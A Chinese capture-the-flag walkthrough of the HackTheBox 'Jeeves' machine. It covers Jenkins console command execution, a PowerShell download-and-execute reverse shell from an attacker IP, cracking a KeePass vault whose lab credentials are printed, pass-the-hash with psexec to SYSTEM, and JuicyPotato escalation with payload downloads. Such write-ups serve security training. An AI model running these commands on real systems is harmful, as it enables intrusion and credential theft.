靶机复现Jeeves篇

爆破目录，得到/askjeeves

未经认证可直接访问，发现jenkins未授权

可成功命令执行

但是这里存在问题：

需要将命令的执行方式设为println "cmd.exe /c dir".execute().text

利用nishang反弹shell

println "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.18:808/Invoke-PowerShellTcp.ps1');".execute().text

纯文本

当前权限对Administrator目录没有访问权限

回到家目录读取user.txt

首先需要破解CEH.kdbx的密码

┌──(kali㉿kali)-[~/new/HTB/jeeves]└─$ keepass2john CEH.kdbx        CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48┌──(kali㉿kali)-[~/new/HTB/jeeves]└─$ keepass2john CEH.kdbx > CEH.kdbx.hash

纯文本

hashcat CEH.kdbx.hash /usr/share/wordlists/rockyou.txt  --user ...$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48:moonshine1

纯文本

得到moonshine1

得到密码后，就可以从文件中提取数据了

有两种方式提取：1、命令行工具kpcli   2、安装图形化工具KeePass

# 连接┌──(kali㉿kali)-[~/new/HTB/jeeves]└─$ kpcli --kdb CEH.kdbx Please provide the master password: *************************KeePass CLI (kpcli) v3.1 is ready for operation.Type 'help' for a description of available commands.Type 'help <command>' for details on individual commands.kpcli:/> 

纯文本

# 列出所有kpcli:/> find .Searching for "." ... - 8 matches found and placed into /_found/Would you like to list them now? [y/N] === Entries ===0. Backup stuff                                                           1. Bank of America                                   www.bankofamerica.com2. DC Recovery PW                                                         3. EC-Council                               www.eccouncil.org/programs/cer4. It's a secret                                 localhost:8180/secret.jsp5. Jenkins admin                                            localhost:80806. Keys to the kingdom                                                    7. Walmart.com                                             www.walmart.com

纯文本

# 打印信息kpcli:/> show -f 0 Path: /CEH/Title: Backup stuffUname: ? Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00  URL: Notes: kpcli:/> show -f 1 Path: /CEH/Title: Bank of AmericaUname: Michael321 Pass: 12345  URL: https://www.bankofamerica.comNotes: kpcli:/> show -f 2 Path: /CEH/Title: DC Recovery PWUname: administrator Pass: S1TjAtJHKsugh9oC4VZl  URL: Notes: kpcli:/> show -f 3 Path: /CEH/Title: EC-CouncilUname: hackerman123 Pass: pwndyouall!  URL: https://www.eccouncil.org/programs/certified-ethical-hacker-cehNotes: Personal loginkpcli:/> show -f 4 Path: /CEH/Title: It's a secretUname: admin Pass: F7WhTrSFDKB6sxHU1cUn  URL: http://localhost:8180/secret.jspNotes: kpcli:/> show -f 5 Path: /CEH/Title: Jenkins adminUname: admin Pass:   URL: http://localhost:8080Notes: We don't even need creds! Unhackable! kpcli:/> show -f 6 Path: /CEH/Title: Keys to the kingdomUname: bob Pass: lCEUnYPjNfIuPZSzOySA  URL: Notes: kpcli:/> show -f 7 Path: /CEH/Title: Walmart.comUname: anonymous Pass: Password  URL: http://www.walmart.comNotes: Getting my shopping on

纯文本

参考内容：

The first entry in the KeePass, “Backup”, provided what looks like a Windows hash:

Windows will show hashes in the format LM Hash:NT Hash. LM is the much less secure hash format used in legacy Windows systems. It’s typically not used, but kept around for backwards compatibility. Many times, the LM hash for the blank password is stored, which is ignored by Windows but allows the field not to be empty. aad3b435b51404eeaad3b435b51404ee is the LM hash of the empty password.

┌──(kali㉿kali)-[~/new/HTB/jeeves]└─$ crackmapexec smb 10.10.10.63 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)SMB         10.10.10.63     445    JEEVES           [+] Jeeves\Administrator:aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

纯文本

┌──(kali㉿kali)-[~/new/tools/impacket/examples]└─$ python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 administrator@10.10.10.63 cmd.exeImpacket v0.9.24 - Copyright 2021 SecureAuth Corporation[*] Requesting shares on 10.10.10.63.....[*] Found writable share ADMIN$[*] Uploading file ZswaRuHy.exe[*] Opening SVCManager on 10.10.10.63.....[*] Creating service TzJK on 10.10.10.63.....[*] Starting service TzJK.....[!] Press help for extra shell commandsMicrosoft Windows [Version 10.0.10586](c) 2015 Microsoft Corporation. All rights reserved.C:\Windows\system32> whoamint authority\system

纯文本

C:\Users\Administrator\Desktop> dir Volume in drive C has no label. Volume Serial Number is BE50-B1C9 Directory of C:\Users\Administrator\Desktop11/08/2017  10:05 AM    <DIR>          .11/08/2017  10:05 AM    <DIR>          ..12/24/2017  03:51 AM                36 hm.txt11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk               2 File(s)            833 bytes               2 Dir(s)   7,377,313,792 bytes freeC:\Users\Administrator\Desktop> type hm.txtThe flag is elsewhere.  Look deeper.C:\Users\Administrator\Desktop> dir /R Volume in drive C has no label. Volume Serial Number is BE50-B1C9 Directory of C:\Users\Administrator\Desktop11/08/2017  10:05 AM    <DIR>          .11/08/2017  10:05 AM    <DIR>          ..12/24/2017  03:51 AM                36 hm.txt                                    34 hm.txt:root.txt:$DATA11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk               2 File(s)            833 bytes               2 Dir(s)   7,377,313,792 bytes freeC:\Users\Administrator\Desktop> type hm.txt:root.txt:$DATAThe filename, directory name, or volume label syntax is incorrect.C:\Users\Administrator\Desktop> more < hm.txt:root.txt

纯文本

PS C:\Users\kohsuke\Documents> whoami /privPRIVILEGES INFORMATION----------------------Privilege Name                Description                               State   ============================= ========================================= ========SeShutdownPrivilege           Shut down the system                      DisabledSeChangeNotifyPrivilege       Bypass traverse checking                  Enabled SeUndockPrivilege             Remove computer from docking station      DisabledSeImpersonatePrivilege        Impersonate a client after authentication Enabled SeCreateGlobalPrivilege       Create global objects                     Enabled SeIncreaseWorkingSetPrivilege Increase a process working set            DisabledSeTimeZonePrivilege           Change the time zone                      Disabled

纯文本

有SeImpersonatePrivilege 权限，可以用JuicyPotato提权

使用IWR命令传输shell.bat和JuicyPotato

iwr http://10.10.14.18:808/shell.bat -o shell.batiwr http://10.10.14.18:808/JuicyPotato.exe -o jp.exe

纯文本

powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.18:808/Invoke-PowerShellTcp7788.ps1')

text

shell.bat

cmd.exe /c 'jp.exe -t t -l 1234 -p shell.bat'

纯文本